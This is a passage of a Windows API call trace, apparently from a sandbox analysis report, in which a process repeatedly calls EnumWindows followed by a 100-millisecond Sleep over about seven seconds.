EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.761] Sleep (dwMilliseconds=0x64) [0183.762] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.762] Sleep (dwMilliseconds=0x64) [0183.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.764] Sleep (dwMilliseconds=0x64) [0183.765] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.765] Sleep (dwMilliseconds=0x64) [0183.767] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.767] Sleep (dwMilliseconds=0x64) [0183.769] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.769] Sleep (dwMilliseconds=0x64) [0183.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.772] Sleep (dwMilliseconds=0x64) [0183.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.774] Sleep (dwMilliseconds=0x64) [0183.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.776] Sleep (dwMilliseconds=0x64) [0183.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.822] Sleep (dwMilliseconds=0x64) [0183.825] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.825] Sleep (dwMilliseconds=0x64) [0183.884] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.884] Sleep (dwMilliseconds=0x64) [0183.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.886] Sleep (dwMilliseconds=0x64) [0183.887] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.888] Sleep (dwMilliseconds=0x64) [0183.896] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.896] Sleep (dwMilliseconds=0x64) [0183.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.900] Sleep (dwMilliseconds=0x64) [0183.903] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.903] Sleep (dwMilliseconds=0x64) [0183.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.906] Sleep (dwMilliseconds=0x64) [0183.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.911] Sleep (dwMilliseconds=0x64) [0183.913] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.914] Sleep (dwMilliseconds=0x64) [0183.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.938] Sleep (dwMilliseconds=0x64) [0184.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.020] Sleep (dwMilliseconds=0x64) [0184.026] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.026] Sleep (dwMilliseconds=0x64) [0184.030] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.030] Sleep (dwMilliseconds=0x64) [0184.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.033] Sleep (dwMilliseconds=0x64) [0184.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.037] Sleep (dwMilliseconds=0x64) [0184.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.042] Sleep (dwMilliseconds=0x64) [0184.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.045] Sleep (dwMilliseconds=0x64) [0184.047] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.047] Sleep (dwMilliseconds=0x64) [0184.048] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.048] Sleep (dwMilliseconds=0x64) [0184.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.051] Sleep (dwMilliseconds=0x64) [0184.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.053] Sleep (dwMilliseconds=0x64) [0184.054] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.054] Sleep (dwMilliseconds=0x64) [0184.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.056] Sleep (dwMilliseconds=0x64) [0184.131] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.131] Sleep (dwMilliseconds=0x64) [0184.132] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.132] Sleep (dwMilliseconds=0x64) [0184.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.167] Sleep (dwMilliseconds=0x64) [0184.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.169] Sleep (dwMilliseconds=0x64) [0184.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.170] Sleep (dwMilliseconds=0x64) [0184.171] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.171] Sleep (dwMilliseconds=0x64) [0184.173] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.173] Sleep (dwMilliseconds=0x64) [0184.177] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.177] Sleep (dwMilliseconds=0x64) [0184.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.179] Sleep (dwMilliseconds=0x64) [0184.181] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.181] Sleep (dwMilliseconds=0x64) [0184.183] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.183] Sleep (dwMilliseconds=0x64) [0184.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.187] Sleep (dwMilliseconds=0x64) [0184.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.188] Sleep (dwMilliseconds=0x64) [0184.189] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.190] Sleep (dwMilliseconds=0x64) [0184.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.191] Sleep (dwMilliseconds=0x64) [0184.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.193] Sleep (dwMilliseconds=0x64) [0184.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.194] Sleep (dwMilliseconds=0x64) [0184.195] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.196] Sleep (dwMilliseconds=0x64) [0184.247] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.247] Sleep (dwMilliseconds=0x64) [0184.305] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.305] Sleep (dwMilliseconds=0x64) [0184.307] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.307] Sleep (dwMilliseconds=0x64) [0184.308] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.309] Sleep (dwMilliseconds=0x64) [0184.311] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.311] Sleep (dwMilliseconds=0x64) [0184.314] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.315] Sleep (dwMilliseconds=0x64) [0184.317] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.318] Sleep (dwMilliseconds=0x64) [0184.321] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.321] Sleep (dwMilliseconds=0x64) [0184.323] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.323] Sleep (dwMilliseconds=0x64) [0184.324] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.325] Sleep (dwMilliseconds=0x64) [0184.326] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.326] Sleep (dwMilliseconds=0x64) [0184.328] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.329] Sleep (dwMilliseconds=0x64) [0184.330] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.331] Sleep (dwMilliseconds=0x64) [0184.332] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.332] Sleep (dwMilliseconds=0x64) [0184.334] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.334] Sleep (dwMilliseconds=0x64) [0184.362] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.362] Sleep (dwMilliseconds=0x64) [0184.468] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.468] Sleep (dwMilliseconds=0x64) [0184.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.522] Sleep (dwMilliseconds=0x64) [0184.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.779] Sleep (dwMilliseconds=0x64) [0184.811] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.811] Sleep (dwMilliseconds=0x64) [0184.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.840] Sleep (dwMilliseconds=0x64) [0184.927] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.927] Sleep (dwMilliseconds=0x64) [0184.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0184.955] Sleep (dwMilliseconds=0x64) [0185.030] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.030] Sleep (dwMilliseconds=0x64) [0185.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.031] Sleep (dwMilliseconds=0x64) [0185.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.035] Sleep (dwMilliseconds=0x64) [0185.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.068] Sleep (dwMilliseconds=0x64) [0185.072] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.072] Sleep (dwMilliseconds=0x64) [0185.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.183] Sleep (dwMilliseconds=0x64) [0185.222] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.222] Sleep (dwMilliseconds=0x64) [0185.337] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.338] Sleep (dwMilliseconds=0x64) [0185.364] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.365] Sleep (dwMilliseconds=0x64) [0185.366] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.367] Sleep (dwMilliseconds=0x64) [0185.371] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.372] Sleep (dwMilliseconds=0x64) [0185.373] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.373] Sleep (dwMilliseconds=0x64) [0185.375] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.375] Sleep (dwMilliseconds=0x64) [0185.376] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.377] Sleep (dwMilliseconds=0x64) [0185.378] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.378] Sleep (dwMilliseconds=0x64) [0185.379] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.379] Sleep (dwMilliseconds=0x64) [0185.381] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.381] Sleep (dwMilliseconds=0x64) [0185.382] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.383] Sleep (dwMilliseconds=0x64) [0185.384] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.384] Sleep (dwMilliseconds=0x64) [0185.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.385] Sleep (dwMilliseconds=0x64) [0185.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.387] Sleep (dwMilliseconds=0x64) [0185.442] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.442] Sleep (dwMilliseconds=0x64) [0185.543] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.543] Sleep (dwMilliseconds=0x64) [0185.574] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.574] Sleep (dwMilliseconds=0x64) [0185.649] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.649] Sleep (dwMilliseconds=0x64) [0185.737] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.737] Sleep (dwMilliseconds=0x64) [0185.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.739] Sleep (dwMilliseconds=0x64) [0185.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.774] Sleep (dwMilliseconds=0x64) [0185.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.777] Sleep (dwMilliseconds=0x64) [0185.887] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.887] Sleep (dwMilliseconds=0x64) [0185.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.933] Sleep (dwMilliseconds=0x64) [0185.964] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0185.964] Sleep (dwMilliseconds=0x64) [0186.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.066] Sleep (dwMilliseconds=0x64) [0186.078] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.078] Sleep (dwMilliseconds=0x64) [0186.079] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.079] Sleep (dwMilliseconds=0x64) [0186.081] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.081] Sleep (dwMilliseconds=0x64) [0186.082] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.082] Sleep (dwMilliseconds=0x64) [0186.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.084] Sleep (dwMilliseconds=0x64) [0186.085] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.086] Sleep (dwMilliseconds=0x64) [0186.087] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.087] Sleep (dwMilliseconds=0x64) [0186.088] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.089] Sleep (dwMilliseconds=0x64) [0186.090] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.090] Sleep (dwMilliseconds=0x64) [0186.091] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.092] Sleep (dwMilliseconds=0x64) [0186.093] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.093] Sleep (dwMilliseconds=0x64) [0186.208] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.208] Sleep (dwMilliseconds=0x64) [0186.272] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.273] Sleep (dwMilliseconds=0x64) [0186.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.293] Sleep (dwMilliseconds=0x64) [0186.340] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.340] Sleep (dwMilliseconds=0x64) [0186.409] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.409] Sleep (dwMilliseconds=0x64) [0186.437] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.438] Sleep (dwMilliseconds=0x64) [0186.471] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.472] Sleep (dwMilliseconds=0x64) [0186.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.557] Sleep (dwMilliseconds=0x64) [0186.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.642] Sleep (dwMilliseconds=0x64) [0186.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.652] Sleep (dwMilliseconds=0x64) [0186.658] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.658] Sleep (dwMilliseconds=0x64) [0186.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.739] Sleep (dwMilliseconds=0x64) [0186.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.843] Sleep (dwMilliseconds=0x64) [0186.953] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0186.953] Sleep (dwMilliseconds=0x64) [0187.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.022] Sleep (dwMilliseconds=0x64) [0187.116] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.116] Sleep (dwMilliseconds=0x64) [0187.177] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.178] Sleep (dwMilliseconds=0x64) [0187.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.191] Sleep (dwMilliseconds=0x64) [0187.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.224] Sleep (dwMilliseconds=0x64) [0187.276] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.277] Sleep (dwMilliseconds=0x64) [0187.394] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.395] Sleep (dwMilliseconds=0x64) [0187.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.397] Sleep (dwMilliseconds=0x64) [0187.398] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.398] Sleep (dwMilliseconds=0x64) [0187.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.400] Sleep (dwMilliseconds=0x64) [0187.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.401] Sleep (dwMilliseconds=0x64) [0187.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.403] Sleep (dwMilliseconds=0x64) [0187.406] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.406] Sleep (dwMilliseconds=0x64) [0187.408] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.408] Sleep (dwMilliseconds=0x64) [0187.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.411] Sleep (dwMilliseconds=0x64) [0187.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.413] Sleep (dwMilliseconds=0x64) [0187.414] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.414] Sleep (dwMilliseconds=0x64) [0187.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.416] Sleep (dwMilliseconds=0x64) [0187.417] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.417] Sleep (dwMilliseconds=0x64) [0187.419] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.419] Sleep (dwMilliseconds=0x64) [0187.420] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.420] Sleep (dwMilliseconds=0x64) [0187.422] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.422] Sleep (dwMilliseconds=0x64) [0187.423] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.423] Sleep (dwMilliseconds=0x64) [0187.548] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.549] Sleep (dwMilliseconds=0x64) [0187.581] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.582] Sleep (dwMilliseconds=0x64) [0187.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.651] Sleep (dwMilliseconds=0x64) [0187.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.714] Sleep (dwMilliseconds=0x64) [0187.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.768] Sleep (dwMilliseconds=0x64) [0187.875] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.876] Sleep (dwMilliseconds=0x64) [0187.951] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0187.951] Sleep (dwMilliseconds=0x64) [0188.197] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.198] Sleep (dwMilliseconds=0x64) [0188.259] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.260] Sleep (dwMilliseconds=0x64) [0188.352] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.352] Sleep (dwMilliseconds=0x64) [0188.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.404] Sleep (dwMilliseconds=0x64) [0188.437] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.437] Sleep (dwMilliseconds=0x64) [0188.568] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.568] Sleep (dwMilliseconds=0x64) [0188.620] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.620] Sleep (dwMilliseconds=0x64) [0188.621] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.622] Sleep (dwMilliseconds=0x64) [0188.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.624] Sleep (dwMilliseconds=0x64) [0188.626] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.626] Sleep (dwMilliseconds=0x64) [0188.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.628] Sleep (dwMilliseconds=0x64) [0188.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.629] Sleep (dwMilliseconds=0x64) [0188.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.631] Sleep (dwMilliseconds=0x64) [0188.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.632] Sleep (dwMilliseconds=0x64) [0188.634] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.634] Sleep (dwMilliseconds=0x64) [0188.635] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.636] Sleep (dwMilliseconds=0x64) [0188.637] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.637] Sleep (dwMilliseconds=0x64) [0188.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.639] Sleep (dwMilliseconds=0x64) [0188.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.640] Sleep (dwMilliseconds=0x64) [0188.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.642] Sleep (dwMilliseconds=0x64) [0188.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.644] Sleep (dwMilliseconds=0x64) [0188.646] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.646] Sleep (dwMilliseconds=0x64) [0188.647] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.648] Sleep (dwMilliseconds=0x64) [0188.649] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.649] Sleep (dwMilliseconds=0x64) [0188.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.651] Sleep (dwMilliseconds=0x64) [0188.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.653] Sleep (dwMilliseconds=0x64) [0188.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.654] Sleep (dwMilliseconds=0x64) [0188.655] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.656] Sleep (dwMilliseconds=0x64) [0188.657] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.657] Sleep (dwMilliseconds=0x64) [0188.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.739] Sleep (dwMilliseconds=0x64) [0188.827] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.827] Sleep (dwMilliseconds=0x64) [0188.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0188.950] Sleep (dwMilliseconds=0x64) [0189.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.012] Sleep (dwMilliseconds=0x64) [0189.049] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.049] Sleep (dwMilliseconds=0x64) [0189.120] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.120] Sleep (dwMilliseconds=0x64) [0189.227] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.227] Sleep (dwMilliseconds=0x64) [0189.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.229] Sleep (dwMilliseconds=0x64) [0189.232] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.232] Sleep (dwMilliseconds=0x64) [0189.252] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.252] Sleep (dwMilliseconds=0x64) [0189.342] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.342] Sleep (dwMilliseconds=0x64) [0189.434] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.434] Sleep (dwMilliseconds=0x64) [0189.481] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.481] Sleep (dwMilliseconds=0x64) [0189.631] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.631] Sleep (dwMilliseconds=0x64) [0189.659] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.659] Sleep (dwMilliseconds=0x64) [0189.660] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.661] Sleep (dwMilliseconds=0x64) [0189.662] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.663] Sleep (dwMilliseconds=0x64) [0189.664] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.665] Sleep (dwMilliseconds=0x64) [0189.666] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.667] Sleep (dwMilliseconds=0x64) [0189.668] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.668] Sleep (dwMilliseconds=0x64) [0189.669] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.670] Sleep (dwMilliseconds=0x64) [0189.671] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.671] Sleep (dwMilliseconds=0x64) [0189.672] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.673] Sleep (dwMilliseconds=0x64) [0189.674] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.674] Sleep (dwMilliseconds=0x64) [0189.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.676] Sleep (dwMilliseconds=0x64) [0189.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.768] Sleep (dwMilliseconds=0x64) [0189.820] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.820] Sleep (dwMilliseconds=0x64) [0189.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.857] Sleep (dwMilliseconds=0x64) [0189.987] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0189.987] Sleep (dwMilliseconds=0x64) [0190.019] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.019] Sleep (dwMilliseconds=0x64) [0190.030] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.030] Sleep (dwMilliseconds=0x64) [0190.099] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.101] Sleep (dwMilliseconds=0x64) [0190.211] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.211] Sleep (dwMilliseconds=0x64) [0190.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.244] Sleep (dwMilliseconds=0x64) [0190.258] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.259] Sleep (dwMilliseconds=0x64) [0190.308] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.309] Sleep (dwMilliseconds=0x64) [0190.459] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.461] Sleep (dwMilliseconds=0x64) [0190.635] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.635] Sleep (dwMilliseconds=0x64) [0190.643] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.643] Sleep (dwMilliseconds=0x64) [0190.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.685] Sleep (dwMilliseconds=0x64) [0190.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.796] Sleep (dwMilliseconds=0x64) [0190.852] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.853] Sleep (dwMilliseconds=0x64) [0190.854] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.854] Sleep (dwMilliseconds=0x64) [0190.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.856] Sleep (dwMilliseconds=0x64) [0190.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.857] Sleep (dwMilliseconds=0x64) [0190.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.859] Sleep (dwMilliseconds=0x64) [0190.860] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.860] Sleep (dwMilliseconds=0x64) [0190.862] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.862] Sleep (dwMilliseconds=0x64) [0190.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.864] Sleep (dwMilliseconds=0x64) [0190.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.865] Sleep (dwMilliseconds=0x64) 